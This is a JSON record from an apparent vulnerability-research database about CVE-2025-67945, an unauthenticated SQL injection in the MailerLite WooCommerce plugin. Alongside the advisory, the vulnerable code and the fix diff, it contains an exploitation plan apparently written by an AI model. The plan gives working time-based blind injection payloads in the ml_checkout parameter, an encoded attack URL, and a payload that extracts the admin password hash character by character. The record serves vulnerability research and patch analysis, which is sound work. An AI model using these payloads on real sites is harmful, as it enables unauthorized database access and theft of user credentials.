[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fyJI8jFut8ems3UPh5Y6GRn0GxiykC0nRSnh7o95bz4Y":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2025-67945","mailerlite-woocommerce-integration-unauthenticated-sql-injection","MailerLite – WooCommerce integration \u003C= 3.1.2 - Unauthenticated SQL Injection","The MailerLite – WooCommerce integration plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","woo-mailerlite",null,"\u003C=3.1.2","3.1.3","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-01-20 00:00:00","2026-01-27 19:32:31",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F97da8e3d-0e29-423a-bd59-dbcff1eb1249?source=api-prod",8,[22,23,24,25,26],"includes\u002FWooMailerLiteService.php","includes\u002Fcontrollers\u002FWooMailerLiteOrderController.php","includes\u002Fcontrollers\u002FWooMailerLitePluginController.php","readme.txt","woo-mailerlite.php","researched",false,3,"# Exploitation Research Plan: CVE-2025-67945 (MailerLite – WooCommerce integration)\n\n## 1. Vulnerability Summary\nThe **MailerLite – WooCommerce integration** plugin (versions \u003C= 3.1.2) is vulnerable to an unauthenticated SQL injection. The vulnerability exists in the `WooMailerLitePluginController::reloadCheckout` function due to the unsafe use of the user-supplied `ml_checkout` request parameter in a database query. The plugin uses a custom ORM-like structure where parameters are concatenated into `LIKE` clauses without sufficient escaping or using `$wpdb->prepare` for the value part of the query.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: Any frontend page (e.g., the homepage or a WooCommerce shop page).\n- **Hook**: Likely `init` or `wp_loaded` (where `WooMailerLitePluginController::reloadCheckout` is triggered).\n- **Vulnerable Parameter**: `ml_checkout` (passed via GET or POST).\n- **Authentication**: Unauthenticated (PR:N).\n- **Preconditions**: WooCommerce must be installed and active so that `WC()->session` is initialized.\n\n## 3. Code Flow\n1. **Entry Point**: A request is made to the WordPress site containing the `ml_checkout` parameter.\n2. **Trigger**: The `WooMailerLitePluginController::reloadCheckout()` method is called (likely via an `init` hook).\n3. **Requirement Check**: The code checks `if (!function_exists('WC') || !is_object(WC()->session))`. If WooCommerce is active, it proceeds.\n4. **Input Extraction**: It checks `if ($this->requestHas('ml_checkout'))`.\n5. **Vulnerable Sink**: It executes:\n   ```php\n   $cart = WooMailerLiteCart::where('data', 'like', '%'.$this->request['ml_checkout'].'%')->first();\n   ```\n6. **SQL Injection**: The value of `ml_checkout` is concatenated into a `LIKE` string. If the `where` method of the `WooMailerLiteCart` model (or its parent class) does not properly sanitize this input or use prepared statements for the interpolated string, an attacker can break out of the `LIKE` clause and append arbitrary SQL.\n\n## 4. Nonce Acquisition Strategy\nBased on the source code in `WooMailerLitePluginController.php`, the `reloadCheckout()` function **does not require a nonce**. It is designed to reload a cart session from a request parameter, typically used when a user clicks a link from a MailerLite email.\n\n## 5. Exploitation Strategy\nWe will perform a **Time-Based Blind SQL Injection** using the `SLEEP()` function to confirm the vulnerability.\n\n### Step-by-Step Payload Construction\n- **Base Query**: `SELECT * FROM wp_mailerlite_carts WHERE data LIKE '%[INPUT]%' LIMIT 1`\n- **Goal**: Inject `SLEEP(5)` if the condition is true.\n- **Payload**: `x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '%'='`\n- **Resulting SQL (approximate)**: `... WHERE data LIKE '%x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '%'='%' LIMIT 1`\n\n### Execution via Agent\n1. **Request**: Send an HTTP GET request to the site root with the payload.\n2. **Tool**: `http_request`.\n3. **URL**: `http:\u002F\u002Flocalhost:8888\u002F?ml_checkout=x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20AND%20%27%25%27%3D%27`\n\n## 6. Test Data Setup\n1. **Install WooCommerce**: Required for the `WC()` object check.\n2. **Install MailerLite Integration**: Version 3.1.2.\n3. **Configure Plugin**: The plugin needs to be enabled.\n   - `wp option update woo_mailerlite_enabled 1`\n4. **Create a Cart Entry (Optional but helpful)**: Ensure the table `wp_mailerlite_carts` exists.\n   - The table is created upon activation.\n   - If the query returns zero rows, `SLEEP` will still execute if the injection is in the `WHERE` clause and evaluated against rows (though `LIKE` against an empty table might skip evaluation). It's best to ensure at least one row exists.\n   - `wp db query \"INSERT INTO wp_mailerlite_carts (hash, email, subscribe, data) VALUES ('test_hash', 'test@example.com', 0, '{\\\"checkout_id\\\": 123}')\"`\n\n## 7. Expected Results\n- **Vulnerable Response**: The HTTP request will hang for approximately 5 seconds before returning a response.\n- **Normal Response**: A request with a benign `ml_checkout` value (e.g., `?ml_checkout=123`) should return immediately.\n\n## 8. Verification Steps\nAfter confirming the time delay, verify the database schema to ensure targeting of sensitive data is possible:\n1. `wp db query \"SELECT user_login, user_pass FROM wp_users\"` to confirm table access.\n2. Use the injection to extract the admin password hash bit-by-bit:\n   - Payload: `x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='$') AND '%'='`\n\n## 9. Alternative Approaches\nIf `reloadCheckout` is not triggered on the home page:\n- Try the WooCommerce Shop page or Cart page: `http:\u002F\u002Flocalhost:8888\u002Fshop\u002F?ml_checkout=...`\n- Try a POST request instead of GET.\n- If `LIKE` injection fails due to quote escaping, try a numeric-based injection if another parameter like `signup` or `id` is discovered in a `where('id', ...)` context.\n- Check `WooMailerLiteService::setCartEmail()`: This function is triggered by the `woocommerce_checkout_update_order_review` AJAX action.\n  - **Action**: `wp_ajax_nopriv_woocommerce_checkout_update_order_review`\n  - **Parameter**: `email` or `signup` in `$_POST`.\n  - **Code Path**: `setCartEmail()` calls `WooMailerLiteCart::where('hash', ...)` and `cart->update(...)`. If `email` is not sanitized in the update, it's a sink.","The MailerLite – WooCommerce integration plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'ml_checkout' parameter in the 'reloadCheckout' function. Due to the lack of input sanitization and use of prepared statements when querying the database with a LIKE clause, an attacker can append arbitrary SQL commands to extract sensitive data.","\u002F\u002F includes\u002Fcontrollers\u002FWooMailerLitePluginController.php:73\npublic function reloadCheckout()\n{\n    if (!function_exists('WC') || !is_object(WC()->session)) {\n        return false;\n    }\n    if ($this->requestHas('ml_checkout')) {\n        \u002F\u002F The parameter 'ml_checkout' is concatenated directly into the LIKE query string\n        $cart = WooMailerLiteCart::where('data', 'like', '%'.$this->request['ml_checkout'].'%')->first();\n        if ($cart && $cart->exists()) {\n            WC()->session->set('cart', $cart->data);\n        }\n    }\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-mailerlite\u002F3.1.2\u002Fincludes\u002Fcontrollers\u002FWooMailerLiteOrderController.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-mailerlite\u002F3.1.3\u002Fincludes\u002Fcontrollers\u002FWooMailerLiteOrderController.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-mailerlite\u002F3.1.2\u002Fincludes\u002Fcontrollers\u002FWooMailerLiteOrderController.php\t2025-11-19 09:14:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-mailerlite\u002F3.1.3\u002Fincludes\u002Fcontrollers\u002FWooMailerLiteOrderController.php\t2025-11-20 10:51:48.000000000 +0000\n@@ -75,7 +75,7 @@\n             if ($cart && isset($cart->subscribe)) {\n                 $subscribe = $cart->subscribe;\n             }\n-            if (WooMailerLiteOptions::get(\"settings.checkoutHidden\")) {\n+            if (WooMailerLiteOptions::get(\"settings.checkoutHidden\") || $order->get_meta('_woo_ml_subscribe')) {\n                 $subscribe = true;\n             }\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-mailerlite\u002F3.1.2\u002Fincludes\u002Fcontrollers\u002FWooMailerLitePluginController.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-mailerlite\u002F3.1.3\u002Fincludes\u002Fcontrollers\u002FWooMailerLitePluginController.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-mailerlite\u002F3.1.2\u002Fincludes\u002Fcontrollers\u002FWooMailerLitePluginController.php\t2025-10-13 11:05:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoo-mailerlite\u002F3.1.3\u002Fincludes\u002Fcontrollers\u002FWooMailerLitePluginController.php\t2025-11-20 10:51:48.000000000 +0000\n@@ -73,14 +73,24 @@\n \n     public function reloadCheckout()\n     {\n-        if (!function_exists('WC') || !is_object(WC()->session)) {\n-            return false;\n-        }\n-        if ($this->requestHas('ml_checkout')) {\n-            $cart = WooMailerLiteCart::where('data', 'like', '%'.$this->request['ml_checkout'].'%')->first();\n-            if ($cart && $cart->exists()) {\n-                WC()->session->set('cart', $cart->data);\n+        try {\n+            if (!function_exists('WC') || !is_object(WC()->session)) {\n+                return false;\n+            }\n+            if ($this->requestHas('ml_checkout')) {\n+                $raw = intval($this->request['ml_checkout']);\n+                $escaped = db()->esc_like($raw);\n+                $escaped = '%checkout_id\":' . addcslashes($escaped, '%_') . '%';\n+                $cart = WooMailerLiteCart::where('data', 'like', $escaped)->first();\n+                if ($cart && $cart->exists()) {\n+                    $cartData = $cart->data;\n+                    unset($cartData['checkout_id']);\n+                    WC()->session->set('cart', $cartData);\n+                }\n             }\n+        } catch (Throwable $e) {\n+            WooMailerLiteLog()->error('Error restoring cart from checkout ID: ' . $e->getMessage());\n         }\n+        return true;\n     }\n }","The exploit targets the `reloadCheckout` function, which is triggered automatically when a request contains the `ml_checkout` parameter. An unauthenticated attacker can send a GET or POST request to the site root (or any WooCommerce page) including a payload like `?ml_checkout=x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '%'='`. The payload breaks out of the `LIKE` clause's surrounding wildcards and single quotes, allowing for Time-Based Blind SQL injection. Successful exploitation confirms the vulnerability if the server response is delayed by the specified duration. This can be further used to extract sensitive data from the `wp_users` table bit-by-bit.","gemini-3-flash-preview","2026-05-05 04:46:43","2026-05-05 04:47:20",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","3.1.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoo-mailerlite\u002Ftags\u002F3.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoo-mailerlite.3.1.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoo-mailerlite\u002Ftags\u002F3.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoo-mailerlite.3.1.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoo-mailerlite\u002Ftags"]